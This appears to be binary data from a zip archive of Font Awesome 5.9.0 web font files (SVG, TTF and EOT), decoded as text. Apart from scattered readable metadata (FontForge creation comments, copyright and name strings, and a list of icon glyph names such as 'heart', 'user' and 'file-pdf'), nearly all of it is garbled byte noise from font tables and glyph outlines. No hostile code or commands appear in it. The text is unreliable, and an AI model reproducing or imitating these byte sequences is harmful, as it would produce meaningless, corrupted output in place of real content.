Fd3W=6BX'<5ETa؉zcϿP^;M8ʥAakNT.Wl]me\}SfɰxMBmґzpt[8.mbg|`itlz;{<䬙M7i T ۋtCpPEյ;}5s9|oփ{L@}ɼ_k} lnYOX`8m6$͛ j#> VKI>AsQZ`EYha]uإ\,/RmzBGK®f…l/"-bͯf =Bm=WeSD퍹 "[k8񂄝8$4%egUy]lw#5e<ˏӞd"vUz}G|)W8B,t؝g}(u:΂9%FӮys:|S9f!X Created by FontForge 20190112 at Tue Jun 4 15:16:44 2019 By Robert Madole Copyright (c) Font Awesome PKZf "fonts/fontawesome/fa-solid-900.svgnu[ Created by FontForge 20190112 at Tue Jun 4 15:16:44 2019 By Robert Madole Copyright (c) Font Awesome PKZ,_x,,$fonts/fontawesome/fa-regular-400.ttfnu[ PFFTM-GDEF*OS/2AX`cmapǠ gaspglyfl nhead@6hhea5$hmtxtTlocaEˈ6maxp8 name-7=wUpostOA}<I3#_< %,@LfGLfPfEd.T: @@@@@@@@`@@@@@@@@@@*"$.>DYnpsu|3DFJNR\e IM[]tz([Vgz"$.>DWnpsu{3DFJMP[d GMT]qy(XVgy|zwZYB81-(}zpf`USC m H  g $   @|n*b H*Nbb ^  : :  6  ND>n8(fLDLl.lDfZhDh  h ! !J!!"f"#N#$$j$$%%P&B&' 'P'''(((l()$))*N*+6+~+,J,--..f//0,01 12 2p2334:445 566Z677b$"/.676>64'&'.7$,$+u**u$O##O$UNOT$ ** W"##"W1"/&?'&6?627/7 j  j A ( Ad>>d||&g DD g&b~~bBB"*2%2#!"&=46322654&#"#"&#"6"&462&"264:7OO7 344b3#99#3xTTxThP88P8O77O#33#TxTTx8P88P2"&4264&"'&=4;2ΑΑuuuU C Αuuu > 0  '3?GOW2#!"&5463254#!"3%+"=4;25+"=4;25+"=4;2"&462"&462"&462`lj `pT\  T  T  uu(8276#"&#"+"&5&5466325#"&#"63232P,A+=C%gA?  ')%gE;f9-4Lf9p ( S    2'4634#!"7P 0ppTvT#.2#!"&5463254#!"362"&457676`l9""((xX ""0((xXPA*/7%76#!"&5463!2+!547&?62'7'&76   `Z 0+t:A+:g `  r Z+10:A +:+2"&4264&"%//&?'&?676ΑΑuuu.>> >> >> >> Αuuu>> >> >> >>2"&4$"264/&?676ΑΑKuuu< [  ; Αauuu  [ = 8@2"&4264&"%+"&=4>7>54&#"/&7632"&462ΑΑuuu3.      %@&?A""Αuuu     64""@#/2"&54732654'6#".'&47>2267." /AA]A !-*[7&54264&"6?Ԗj/.AJ 5Vzzz(  &zz. %8FV^^^B3*   2#!"&546;25#"/#` 7 7@  7 7H"&%2#!"&546;32%763!54+'#"7!Pp@P?@PM1 @0jh*@/DT%"&=46;2+"&=46;2#3"&=46;2#2#!"&546;27"&=46;2#J 0   =`0   P 0FFE#6M%#"'#"&'&'#"&767&54632%3264&"67654&'32?&/  A<@g;B ,zV@hKeKA___x@1/R21R>  '6,' #+7B^6, Y<71B\BB.# /#$; (E,2   %&?'&6?63  j A >d?7D g&D~b#AQ&.7>&>6766&&7>2>7>&6&.7>76*  '>D88(%6*  '>D88(%5 ,36&  *6%(88D>&  i+  DF<63+ !"F<63 `)  7t@ ,82#!"&5463"!54#2=!37+"=4;2+"=4;2     H H   `0**d( ( ( ( @%-%#!"&=4?>3!2!'5!$"&462"&4627   i  NNi M  ppM2U]2++"&++"&=46;2327167>322654&+4654#";2'>'>'4&"2"1 $5."S  @  @    *2V,   **=  61" "(3( $/$ v,#$=  & 2V^546;&546321;6;2+"'#"+"&'&7&'#"&7;;2675&'&'.#"#""2641"V2*    @  @  S".5$"10[  =L   , "1 $/$  (3(" 1" &  =&$#, 3U]46326+"&=4754'1&'.5463274&#""&#"3>=4.."264j1"' "(3(   /$ v,#$&=  & m"1'$5."S  @   @     *2V,   L=  1S["&=#"&54>76716=&=46;2''26=6767=4&'#3263264&""1 $/  (3(" 1" &  =&$#,@1"V2*     @  @  S".5$"10[  =L   ,*9B++"&546;546;22=#"&=#"3%2=#"&=#"354/&+PPt`JTX j0 ~0@0>*` X 0@+3;#!"&5463!2#3254/+"&=#"362"&4264&" NzN *H44H4G"">`"PNd  h4H44HL""2#!"&5463254#!"3Z`pT 22#!"&5463!32>567!5".'&'``#dd#`#FF# 0)N N7  7`B2#""&54653+"/&2#4767654&#"#.'&546 &  8( N PIg,0+ K54L +0,ep  & (8++%%gIB25=1$05KJ60$1=% 2BGi%39%#!".54767>54675462!&5414&"0"&53   H8%:!8,B\B4&V   C,:V   ,B&,C;d.BB.d% #/Ka}754;2+"3"=4;2#+"=4;2"=4;2#!54;46;546;23232%354;23#+"&=#7#54+"#";;2=32=4 ( ( ( t ( ( L ( @  X p X  p ( p@ p @( ( ( ( T ( 4 ( ( |$$ { (  ( C C_  0+7%++"=#"=4;54;2327#!"&5463!24#!"3!2` X X X X ``0T X X X X`T2"&4264&"ΑΑuuuΑuuu/2"&4264&"6"&462"&462>"'&>2ΑΑuuu//!fΑuuuc\ 99 '02"&4264&"6"&46262"&42&'&".7ΑΑuuuso~)RΑuuuc-m1 +2"&4264&"6"&46262"&42+"&463ΑΑuuus(   Αuuuc-}@'3?KWco{2#!"&54634#!"3!2%+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2%+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2     `   `   `          `   `   `   `   b           n              '2#!"&546;54;2354;225!30 ( ( *`4 44 4p* %.=46"&462264&"t   4Αuuue ΑΑuuu '7"=4;2#7#!"&5463!24#!"3!2l l`0T `T#2#!"&5463!%/&?676`< [  ;  `p` [ =  A2Y&='.54767675467'".>7676#!"&546;2+"3!2=42;1+ 6(-$50I;"!0<*&>))   VT"( 6  )K-;(!9 h)A'% +`     %6&?6764&"2"&4264&"\ B B 9ZΑΑuuu> B \Αuuu &732/&6%#!"&5463!24#!"3!2}ccK`0Tcc`T &%#"&?67#!"&5463!24#!"3!2Cccu`0Tcc`T &7546&#!"&5463!24#!"3!2cc`0T]cc`T#!"&546;2'!#"&=#r.L h ^rLL  h ),5%+"=4;22+"=43%#!"&546;2'3#"&=# TLh   T   T7>3232>'2654&+4654.#+2;2'>4&"23&-E/ @  c  -3 $(K h  m&%@ !$*   # :/45'N) 9  G%&B"U.6[%+#".'.'#+"&=46;232>3:32264&"2>54&'6&'6+"#322>54&52$$ 3-  0  @  @ .G-88]b    @%&m "("454/: ?  3,$h   )"BG  9(8@H%/"/&?'&4?'&6762767'7''77&2"&4264&"<G( + (G<<G( , (G5MM[44[MM[44[V==V=Q.!!.! + )G<<F) + )G<<G54[MM[44\MM=V==Vc!.!!.&"&463276"3267&5467&jj %a>!"$h;VzzV0UT2*@Ԗ#( >$?P 9-2zz)$mU2T &/&?67#!"&5463!24#!"3!2cc`0T#ccE`T"264$2"&42"&4SuuuΑΑB//B/uuuΑ/B//B #/;GYe54;2+"3"=4;2#"=4;2#3"=4;2#+"=4;2"=4;2#!54;463!232%354;23% ( ( ( ( X ( t ( ( L ( @  P  p ( p,( ( ( ( ` ( ( ( ( T ( 4 ( ( |$$   HC C7=DJQ#!"&546;2'!#"&=##"''&76767&766>77"6467&'6&7r.L h  6' . $ 3N-  x^rLL  hD .0*[" #R#!"&546;2'!#"&=#32+"'&/+"'.'&6;2476;21676r.L h          ^rLL  h&b + H 78 `b aa B#!"&546;2'!#"&=#2+"'&'+"&?'&6;26763r.L h # . ..  ^rLL  h =N 7 NN ($6>#!"&546;2'!#"&=#54;2*#+"73264&+r.L h H E#   0 ^rLL  h %  /c(0#!"&546;2'!#"&=#57676&2"&4r.L h  ((X((^rLL  h@((X((  !$1@LP3#7#53#3#57#!"&546;23#"&=##5#7#"&?53322654."7#5 @ @ Lh 0 P   -  @  &L  h`W'a     /=#!"&546;2'!#"&=#/#"&=46;7664'&>.r.L h $$)   ^rLL  h$8$Y  : 7#!"&546;2'!#"&=#6/+"&=46;2r.L h 5 h h ^rLL  h p 4% h %$'0<M7#"/&?67#!"&546;23#"&=#7/&?6&?6/5&?99!Lh  7  7!99!c66&L  h`  O66$+"&46227''64&"264''&"67&7gΑΑ/p/522/B//B5/p/52258ΑD5UB//B//p/5225/p/522!6#"/&='.77'762< p+) r%%;`l !| .;T0 <2$-   '.5#"&'&676326767'7&'7'757/?'# ^a&'O ^a&'4_H: 'G,4%=/@G<& G@]+G'%e:@,O+ b ^Mb *N */%L=4J/}45/J>J%?4I0== @+/;GS_2#!"&546;>32=#!7"=4;2#'3554;2+"754;2+"=4;2+"54;2+"(  ! +@`= lPx h h h h h h  !  x ` ` P((      <   8@'&?63!"&54767>57"'675462'&5414&"&53z >   . |"&&%:!;B.&  0  *#D  ,B&7&/.B`%42"&4264&"#"&54>32'&#"3276ΑΑuuu3)?=O$@(;& !$*$$ Αuuu)Q<'@%# %"23K2#!"&5463254#!"37&546'&76&546'&76`lR@AR@=R@AR@> V6/.4"%6/.4"% +/37;Ocgo#32+"=!+"=4;#"=4;2!54;2'35!355#!5#'#"=!+32!543'2+"=#"=4;2'355#+ H H H @ H @ @   @  T `8 L@ H H  H H @ @ 4 4pppL  @CGKOSgk%#32+"=#+"=4;5#+"=4;5#"=4;2354;2+354;2'35355#5#354;5#"=#+325#%5#"=#32+"=#3235435#5#4 H H X H H H X H @ 8 X H X 4 H H  H H H  H  @ X H  @  %#!"&5463!27#!3546;T`LLP hdT`Lh (42+#!"&546;54632=#"&=#"3%254#!"300*0@00*`4%+132#!"=4;467.5#"=43!2#!2654&"p2//2 2//2 h KjKKjK?ss?   ?ss?   LllL`LllL)p6+"&5<&4&/&=46>62654&+"&=4&+"&=4&+"&=4&#"/&=4&354?6$C + b'8#I$@:H       a+q,(rd !  U"49#,)( r    ( )  t ) 9U d Y6+"/&676546>654&+"&=4&+"&=4&+"&=4&/.376u.  w!3 P4       sO)  7 ~!($%)!ф L       & w ]"&7.7#"&463'.>6#'32?6=4/&#"/&+";2+";2#""( X++^O8+1b"wFFw b       6 #+<+  88 857'%0 7 @  ;      @A%#5'&+"&546;7#"&=463!254/&#!";2+";2-d!4$r!/!&'v    r c$|H&!$40/!!!L  @ '(i7.7>'&67>767>2+"'&376=4?6&+"&?6."+"/.+"/./&5' /0 )   [ |  & * -* #5B82"i3 %k u` %  q      E 2^p6+"/&676546266&;2?6=4&+"&=4&+".=4&+"&=4&'546;2+"&7546;2+"&754;2+"f!9%"m!'7'!-m    DL K (#Tw7 ''J w  wT    # #   R` ` ` ` ``#^6+"/&7'&676'462654&+"&=4&+"&=4&+"/.;2?6j(%'758 % +<+#0      ;@ 7 #Fw"b1+8 O^++XF      b w,52"&4264&"+"/#+"&=46;2'254.+ΑΑuuu6+0 'Of(: Αuuu#ZTU3)! @;C%++"=#"=4;54;2327#!"&546;54;2354;232!3!2P L  L L  L p0 ( ( 00T L L  L L`4 44 4* +37"=4;2#7#!"&546;54;2354;232!3!2| |0 ( ( 00Tx   `4 44 4*;C%//&?'&?6767#!"&546;54;2354;232!3!28 66 66 66 660 ( ( 00TI66 66 66 66`4 44 4*'72#!"&546;54;2354;225!3%/&?6760 ( ( * K  ,o  `4 44 4p*Ɏ K -n  @!%*/2#"/#"&54>?6327673#0        5=? Z 5=?:./,!/*2+#"=#"&54634&#!";?326&&} `&&  C  &&^ T& &   <2 /2"&4264&"%+"&=46;2+"&=46;2ΑΑuuu( 0 0 p 0 0 Αuuu    "&462264&"+"&=46;2Αuuu   'ΑΑuuux  #+Lfn3#"&5#'#"'&/#+376;2264&"6/&'&6?#"##36???5#'&+"6?6264&"y@ : #;U  @v0Q  l - '9>*a ! % -=T A7 gn  @  L  0 W ;#>X    $I> <3 S0 5`#!"&54767>254'&'"."#3!2'#".'&'&?6232>7676`(_  dQ4/V  7  7  7  7 !K  OB) %F -    -  ,     , '+3H#32+32+#!"&5463!232!6"&462"&=463232632#  @ P4&&4& ''  @ ( @ ( 00 ( `&4&&4 "" @0<HT2#!"&5463!6"&462"&=463232632#7"=4;2#'"=4;2#'"=4;2#  4&&4& '' >ppppp`p`&4&&4 "" @@@"42"&4264&"&2"&427&'#"'%654&"6322632P88P8L((7ΑΑ8.-%%uu%)@%$%@X8P88PX((ԑΑ0& '$4@SuuS@44 '<2#!"&5463!"&46;2#"&462"&=463232632#P ` ` 4&&4& '' `0``   &4&&4 "" @$0<HP2#!"&5463!3&54632326327"=4;2#'"=4;2#'"=4;2#"&462  !''9ppppp4&&4&`p ""P@@`&4&&42#!"&54635!3!2```v !"&463!2@    &2+#!"&546;54635!%!32000@00`@0%/&//+"&=/&4?5/.?&/&?'.?>7'&/&6?'&?6'&6?65'&?6546;276?>76/76'  H;    :H  ' '" PHHP "''  H:    :H  ( '" PHHP "] "Q*T; . . ;2'3'&+"!7"=4;2#    R" d"^L  P  P  9  9`P0 @$4<G%#!"&546;#"3!2=!"3!2=452#!"&5463"&4627676! tZtx""1((hH 0 P0_""((hHP12#!"&546;462&"2644++"=#"3!2PP&4&6x* *`&&lT$ $"2"&4264&"74;232/&6;ΑΑuuu ( CddCΑuuu tdd"6462"$4&"27+/&?632Α/uuu- tddt YΑΑuuu( CddC""&462264&"54;546&=#"Αuuu- tddt 'ΑΑuuu( CddC""&462"264#"=#"&?6+gΑΑuuu( CddC8Α/uuu tddt C!$2"'&?63#3%3'#37'377#d dM94D44?D4dxD3aax4U0``````%5E2"&454+54+"327#";22#!"&54635"&5!#2!46P88P8@   0%`%%%0B\BB\fX 7  @ %%%%72#!"&54634#!"3!2'//&?'&?676`ll==  ==  ==  ==  `vT==  ==  ==  == +>62"&462"&462"&4&2#"'#"&7>7&54264&"6?Ԗj/.AJ 5Vzzz(  &zz. %8FV^^^B3*   '92"&4264&"$"'&>276&"&46272/&"&7>ΑΑuuu6//!f!% & Αuuu$ 99 ''A)    3H2"&4264&"62&'&".?"&547'.>6"&5"'&>?6ΑΑuuuj">'  P  P Αuuu) q     @    +GO2"&4264&"6"/"&4?'&4627626"/"&4?'&462762"&4ΑΑuuu        4&&4&Αuuuk    L    &4&&4 '/7?K2"&4264&"$2"&4264&"62"&4&"&462264&"62"&42+"&463ΑΑuuuB//B/<((&X/B//B5((&   Αuuu/B//BQ((,B//B/((,-2"&4264&"6"&46:"&42'&"&76ΑΑuuuN<= 141 Αuuu]"   /6=AEIMT[2"&4264&"6"&462"&4622+"&=4635#375#"5#75#5#75#5#326=4&+ΑΑuuu(  h000p000h( Αuuuc#  ` ( ((((  '/2"&4264&"%6#".'&62&"&462"&462ΑΑuuu2 M)6( )Αuuu" ".&  N #+97"'&'6762"'&'6762&2"&4264&"%6"&'&62qΑΑuuu2 MRM ) "" "" "" ""ڑΑuuu" ".."  4E2"&4264&"%6#".'&62'&7>32/&"7&7>2/&"ΑΑuuu2 M)6( ) #  & #&#  & Αuuu" ".&  V  ))) +EZ"&5476".'&62766/&"'&7>27"&4632&#"2654'2$"'&7>32/,..6' )) M`  & #&#d ΑgC:2:Suuu &  #   "E E%   ".)),%(gΑ" uuuS!  ) 4<D%6"&'&62/.7>7>7/&67676&2"&4264&"b MRM )pFF   ΑΑuuu ".."  > FDF  Αuuu,:2"&4264&"%6#".'&62.?'&63'&4?6ΑΑuuu2 M)6( ) !!PPPP !! Αuuu" ".&  /((0000(( /;JYh76"&4767&67632&#"%67#"'67327>'&76762+&/.?"'&?6367>'&676u /")7Hg<5/6S:.{$9Ig30)-S:1C /"   4  Z4  4  &.:T&@R"/6D6I;-E9I;0TR"/s Z  4Z  4p/%T:6P2"&4264&"%6"&'&62'7'&6?62/&%/&?'&6?62ΑΑuuu2 MRM )# ## Αuuu" ".."  G#  #N ##  %5CTi76"&476"'&'&6"&'6726%&>2&.""&'&62766/&"'&7>2&"'&7>32/u /"M"/ Rl #l~l# _r_ 'Em~mE& ppRM ))   & #&#&  #  R"//"R P 2;;2 1;;>f;;f? H``."   "|))"  );CK2"&45'&"/.32>>54&"&=&'&6276&2"&462"&4ΑΑ8  %1;uu;1 )) Α,    +'_9SuuS9_ ,   , ;HU2"&45'&"/.32>>54&"&=&'&6276/&4?&?'&6ΑΑ8  %1;uu;1 )) !! PPP !!Α,    +'_9SuuS9_ ,   , ((0000((!)1Ge2/&"&7>2"&4264&"62"&4&2"&45'&"/.32>>54&"&=&'&6276  & %B//B/<((&ΑΑ8  %1;uu;1 ))     4/B//BQ((,Α,    +'_9SuuS9_ ,   , %-52/&"&76"&4626"&'&622"&4264&"4(% & Z MRM )ΑΑuuu    $T ".."  6Αuuu)19A2"&4#"'&?64/&4?64/&762"&4264&"$2"&4##) ΑΑuuu q     %Αuuu#EU2/&"&7>&2"&4264&"%#"'&?64/&4?64/&7662/&"&76#  &   ΑΑuuu##) &#  &  ()  Αuuu     )!4<Ol%#"'&?64/&4?64/&7637&"&7>32'&462"/&>7676#"&4632&#&'654&"320##) F &   %ZS   /4ggg  uuuS-      L    ! S  1(Αg.,  Suuu-2"&464&"6"&462"&4622+"&'&63ΑΑKuuuuE..EΑuuuuS -<<- /=2"&464&"2/&"&76&7>2/&"2+"&'&63ΑΑKuuuu&#  &   #&#  & E..EΑuuuu0)#))M -<<- )72"&464&"/&4?6&?'&62+"&'&63ΑΑKuuuu!PP !!PE..EΑuuuu(00b((0R -<<- !)72"&464&"2/&"&7>"&4622+"&'&63ΑΑKuuuu & lE..EΑuuuu$    2S -<<- 2"&4264&"62"&462"&4ΑΑuuukΑuuu)1CO2"&4264&"$2"&42654'"&547&"&4622654'"&5472+"&463ΑΑuuu<**<*7"@*<**3262/&"&762"&4ΑΑ8uu8-f- &  %p(% & >.!!.!Α:PSuuSP:r    2     * D&4&&4&.92"&4264&"72&'&#"&46&"&46262"&46"&54ΑΑuuu<&& As$"Αuuu#.@-P14E2"&4264&"%>"'&>2''&7>32/&"62/&"'&76ΑΑuuu//!f  #  &&#  & Αuuu 99 '  )%)'2"&4264&"62"&46"&46:"&4ΑΑuuu4&&4&Αuuu;&4&&4{)82"&4264&"$/&4?&?'&62'&".76ΑΑuuuC !! PPP !!PHC #r#Αuuu((0030((0J6'  'V6![% , +O 4 6Q  B 6# Jw 0 X4 . & ? 6W & Copyright (c) Font AwesomeCopyright (c) Font AwesomeFont Awesome 5 Free RegularFont Awesome 5 Free RegularRegularRegularFont Awesome 5 Free Regular-5.9.0Font Awesome 5 Free Regular-5.9.0Font Awesome 5 Free RegularFont Awesome 5 Free Regular329.984 (Font Awesome version: 5.9.0)329.984 (Font Awesome version: 5.9.0)FontAwesome5Free-RegularFontAwesome5Free-RegularThe web's most popular icon set and toolkit.The web's most popular icon set and toolkit.https://fontawesome.comhttps://fontawesome.comFont Awesome 5 FreeFont Awesome 5 FreeRegularRegularFont Awesome 5 Free RegularFont Awesome 5 Free RegularFont Awesome 5 FreeFont Awesome 5 FreeRegularRegular      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~heartstaruserclocklist-altflagbookmarkimageedit times-circle check-circlequestion-circleeye eye-slash calendar-altcommentfolder folder-open chart-barcomments star-halflemon credit-cardhddhand-point-righthand-point-left hand-point-uphand-point-downcopysavesquareenvelope lightbulbbellhospital plus-squarecirclesmilefrownmehkeyboardcalendar play-circle minus-square check-square share-squarecompasscaret-square-downcaret-square-upcaret-square-rightfilefile-alt thumbs-up thumbs-downsunmooncaret-square-left dot-circlebuildingfile-pdf file-word file-excelfile-powerpoint file-image file-archive file-audio file-video file-code life-ring paper-planefutbol newspaper bell-slashclosed-captioning object-groupobject-ungroup sticky-noteclone hourglass hand-rock hand-paper hand-scissors hand-lizard hand-spock hand-pointer hand-peace calendar-pluscalendar-minuscalendar-timescalendar-checkmap comment-alt pause-circle stop-circle handshake envelope-open address-book address-card user-circleid-badgeid-cardwindow-maximizewindow-minimizewindow-restore snowflake trash-altimages clipboardarrow-alt-circle-downarrow-alt-circle-leftarrow-alt-circle-rightarrow-alt-circle-upgemmoney-bill-alt window-close comment-dots smile-winkangrydizzyflushed frown-opengrimacegringrin-alt grin-beamgrin-beam-sweat grin-hearts grin-squintgrin-squint-tears grin-stars grin-tears grin-tonguegrin-tongue-squintgrin-tongue-wink grin-winkkiss kiss-beamkiss-wink-heartlaugh laugh-beam laugh-squint laugh-wink meh-blankmeh-rolling-eyessad-crysad-tear smile-beamsurprisetired `)l%,PKZdHH#fonts/fontawesome/fa-brands-400.eotnu[HLPf@:Font Awesome 5 Brands RegularRegularJ329.984 (Font Awesome version: 5.9.0):Font Awesome 5 Brands Regular PFFTM-GDEF*OS/2BX`cmap pgaspglyf?8Thead@6hhea6$hmtx2locaB\ ^maxpO8 namewt%Hpost?j I@f_< %,L'@LfGLfPfEdB.T:  @@  p@@ @@@ @  @@@@@@.@ @@@@ @@ @  @@Lh@@P  @ @@@@@ @@ @@ @E@ @@@ @ |`6L^knp~\u} !#1MRWY?B1]x{=B6;Zgkpsy 17:K^`mp|\hx#%MRWY ?B0]xz4?ytn8-zwhedXTQP620$ R G E D B @ > = < : 9 8 7 5 3 2 1 . - + * ) ( % $       w i h X  k i = ; U *     l kZB<x8X B@ r J  z ` .&Lz$@,D\xJlh>h$F.t!"D$H%0%&Z&'B'(*)N)|)**++,l,-2-\--0V01112\223x34F44557&7b7889j9~99:D::;B;d;<^<==^===>:>>?p?@\@AjABBCnCDE.EFXpY4ZZ4Z`\].]]^`^^__z_`a^aabbJbddeef4fffgLjk^klDllmVmpnpqHqr^rrsxttrtuđHғʕ^|6vz8j@ܝ"Th$`Ģ(j̣8fP, V*&ʰ\j¸2rH.J~H\HǤrˈ.P&BhҜӘ~Լ>\֒nז2~ڼ۴,0 |ߖN4 Vz;2#!"&54636767&#"&'&''3#"'32>54/(S5 "$- .79X)`  0!@ $:T-$2+537#54;5&#"#3#"&5463: E()??H/&=,7H`52#!"&546335#6264&"54.#"#5#354632   gC  @!!@C    u"j  h V[cipw}2#!"&5463>54&#"54&5".'&'0'43767.547&7662>&&364#"32&'&6'6&'6'&&6'&'6'"2=aEE]>2       +    S   `W7D]]D7W      ) @  0#"'327"&'327.=&547&546326767(ItFXI I:#5 &/'q@=+.$ "( 5iW6/-)+  81: +>!% %537#54;5&#"#3.5462xY: E()??YxΑ\H/&=,7H\gemu}7#54366'72&2&5<54'>54&'6'&&".&'./"2?'.5466'&'6'&6'&'6&!(GDtC]K $   " A%  "    L^, " 3@pDS? (%   %!(     0Sh ! J#"'6?32654&#"7>76'&54632#"&7>54.#".5462g&# 7IXALW=3.:$  GW'Α (; YA=RX>9 "+A9,!4 $  " g.~NgR+6?32>54&#"74676'&54632#"&7>54'&#"&5463!2 %:!WAKW=2-:#  Y`p$; (F*=QW>8 !+@8, 4 #  7  `+72#!"&54632654'#3#".546327&#"%5#5##335t+5^9$');;`6,"%;R;R t'%#"&4632&#"3267#53##5#5353fRPppPK54. 7 F126mn888778Sipp22 8!2G6C88888(3#3'"&4632#54.#"#33>32d]]. |]!]Z . "- +) , *#+))0! 3LT6#".5462#*.'&547&5472632>34&#""'&#";2>&2"&4 #9 ) 76-*#1*/*&1"'@(" ,0+ "(*&00/d##&$ $;$  (7A0 .w#00#& +V$&$$& {%#76&+###'!2a41$% `--=!'7#3/#3?#'# 56/cat44 0>&L1'73?!7!7!7@RtM PP_),,aR5R.AT%#5"##5"#723>75."#57536353'262>54.2>54.#6MGB1 1 X  T 1 1        ! R5,DCCD:4ONMO :T`      2$'#"'&'.'547>7>7327'& j,,*'  j,,*ǏD $# Z+ %CY+ RQ#70+"&?'&6;2%+"/>76;2F AE,A  [B \H) B| zL V 6H  12#!"&54632767'&+"3%6&+";26/\0 .1 /fB/B` U7 6W x w '7'7757'7LUTTUTTTUUTTTTTUTT~ %'?'7'?'#553!53# zw w4((')'.$T%((Pxx3k2"&4264&"6"&462"'&'.5&47676762><.'&'.*#*:3:>76`CC`CT>,,>,\C==! !!==C- #)(#  #)'#3C`CC`{,>,,>6=C! 76;232+766 5!*> / *(F T T#!  ., D B% s R  @ 72#!"&54636/&'&&=32=4+54+";3244, 1&*`( S4H 8+Z}(%"&#"#.'&5467232>''&7>7?= : ./ 1E.8 938 % &?&P26*'?F (n&( ( 7#53537#b"  $;DP_7"&=463253+&=#&=#"&7#4>7'&7676&4&"3264&#"322#"&=46Z   &   66" we  t  t  ==== #$$#52 t  t   k~ )C#'476#"&"54762"10'&'&"#'.'&'&76'&5476767>7&767674.>32&63"6'&""60'&672676&367676'.'&#""6&/&'&6567656767636'6'&'"&#&'&''.'&'&76#%4'.'&'&'"1767>&72132767>2#"'&   %    +!  !    0       (   $ 29#%                  E    .3% "#"(#*%9   )  <    5$  2  # 1!.2   3$     &   #  ".6<2"&4%6&'.>'7&>7&''7&'67&ΑΑ:# IKG'd3+$"70!^e$76H% lnR.t3 =YM?EΑ* JR# 9C &(,9!AR<8.  %MSK.4Z PS%#"'#"&547&546326322654'&'.543232>54&"#".#"B.&UxB.&Ux-C[ *  DWA      G&.BxU&.BxUr-)9 ()    &t?2+"'&54636&+"?>;2>7676&+"&=4>;2>5C0  S  Y I Z j ! J l% #52#!"&54=46354&+";26754&+";26!!! S  S  Q  Q !!}(!   {   2"&4>&'&'.ΑΑk ! & " qΑQ    4`M0+".'&#"#"&'.54;2326=.54>;227>?6;2!)" ;  ( /`$"-; =]$ ;JD3    &! 84.[0  =` W t<  &0>JT\6&&676&"&547676766.766&76&&6'.7>'&>&7&76  &3  ULH<,7"'>77.=RB:6^:)?8-? ?-7!6'XvR EZ=iE Q..QX3?M)\ZR%&/#"43267.'>67".'665.674>2/>21-a9 0Q%/,7% $4##& #*)  &&7&' >H;3 -'   $,  " $$6 *+( %2)%   7!+5#"&=!%5!'2!5463&W&dA&d&t'ZZ'-UUnUU((42#!"&54636'&6&'."6323276P2B! -A@`?N  *f  #!3TR+4BKW7"&46;462"&5"&4622+"&54>3462+'"&=46322"&=7"&46;2#^&/''/'/v  3&/'  /'/v'/v3&/'  /'/v  &/''/7AIQ.54'76&#'&33'76&#"#>32"#"#"'76546"&4624&"2>e6BeL "8 !/M #^7S=A#$:0A<ΑΆċg>-"4G [,48": 2/7:b($ ΑΑċċ%.546777'7&'57DWumS7EM:D%(E3# R85Q + 8$&:T!+7&#"7.'327>7327     g ;/%9*7-39`O$4%#"&4632.32>7#53kggaEC YM7Z@#7jΑAA !M2A\#"V;IU6"&5462$"&462"&'7264&#"'&&#"32>54'>&6"'&7672"&54>Α  $28 =2$ N61$UL C   ΑΑ N V (7$t Y    %5`%"'&76276'#"&5463272#"&5467#!"&5463!2"&'73264&#"'&&#"32654'>&RHW  [  `d '6;   B6& T:;Sf1    ` U ] ! *<<* !%92"&42754&""&=#326=405#"&='32>ΑΑ ",>,  :,,:  ",#Α!  +*l -.,+kq.0 / /+#1%"&=726='54&"#"&=332>=462B]B"4B/.BV  C[C4F.BA.FG  H:  .AB.FE  -?@-$%3#!"'&'&'.5463!225#5#"3326 `  | `   ` !%)53#55#%3#535#75#53#535'35'3#3#R3RHRRRͅR4444L]]))]]))]]u3 #2B#"'56322#"'567#!"&5463!22654.#"#754&#"7532  G  `+"-3+ 4 !DiD`/ % 3:B. 39@D7'26322/>&67>77367>?"&75.# &'<7465&#".'&'#"&54?.>3263263232654.547'6'632763'7>31#  37 6I  G#     ,g ; #,  "  ?! ,    0  5/)    '  E<     -      \ PK< 3  !    4. "    #C3^ (:T#"&54>767676'&#"&/"6'763276&'&"76'&#"#".#">2@ &pNNt& (   + $P&  V  = "+#3(* 0M,E'RhmQ%D* #&  D %**"$  11Je46326&".'.7.67>>32'64&"#".'&'7264/7'#"&5467&72767#!6*, d,3! V6"#-, Z#9, d-[(b0' (7#,,  Y d# *, d,2"6!_U #!8-- Zl!#  , d,[ (0' ( #!7,- X  @u 397+32'3254#254+%#53#32>73#"&546323&#"AH5qO/5 :8U8! >\7#!"&5463!235#4'654+32674&"327##"534-.+(?`NN+#>Z]'$?( 2" "d47--`}) 0+ +*  / #!2:B%#"&'326'7654&"&'>32>&/6'&'6"&462264&"BsCU_&*T(87M7;bg   ( 3%%3%R''CsBeO' +<8''66'V 7`   (v$4$$4&&6>I>&/6'&'2#!"&=326'7654&"&'5463"&462264&" &Y'O%53I38u0""0#;% N && ^q%(84%$33$Q 0"0""0$  .C2"&42654'&327672654'&#"327672654'&#"3276ΑΑ] `  |S  Md20  ?0$  R{B4  <5Α  9 2B  -  L 0 @3#0#57'#53?3@b[ , ]]V+ bc T ] T 5K #-9DN`u7#"5'743272#"5'7472#"5'742"5'?2#"5'7462#"5'762"5'?#"5/7547632#"'&5'?47622#"5'72+&=476326%2#"5'74'2#"5'742#"5'7o s ~!..! 7O.AEEA)iEEiDD`####9989 DBBDFDDFr@ :BCC8/ !.  I6<AACCCC+%#'.'367.54632&'654#"O* +%$ J ;+-%+7/(0  "L44\ ;K~Km5,>N12A)<: .:9 $(+/&=4?67'775'?'7'75 _MجM_7_MNNNdM_7   ;g?3ss3?5J%g?3444s3?5J%A$I%##"'.'&676'&76067>6&'&5.*&'&35236'#"'.'&67>76'.5676676.&76" $#J$; '&/("MD7 + "/26(&"# D+;'I!  ,!%B' $ "1D$  ."#C1)6% ($X 6% ('B<s L  !   &&H %  /, ["&7>721>?>././76&/7>?>?>./65g<7      -,       (8h7"67527'676"&4624&"2'67'654'7&'"'7&'&'7&47'6767'6327' :a )= :b ); a:=)$ b:=)oΑ΅Ċc   4 @@ 4  4 @@ 490  .  2991 w90 /-  09 . 09 /ΑΑĊĊW2r1 CC,  ,CC,  , "*K]}7&5472#"&6%#!"&5463!23254#"#.32>54&'654'7'"=#37'.541535#"545#23232e !!#  O`1$ @ 0  ! U 4He&$ r |`YD     XiK  = B'4<R]&'#"547&5467&54>4&'"&"'6'26&#"527>=4&'733'".5432#"&=4&"#5>73;#067%" 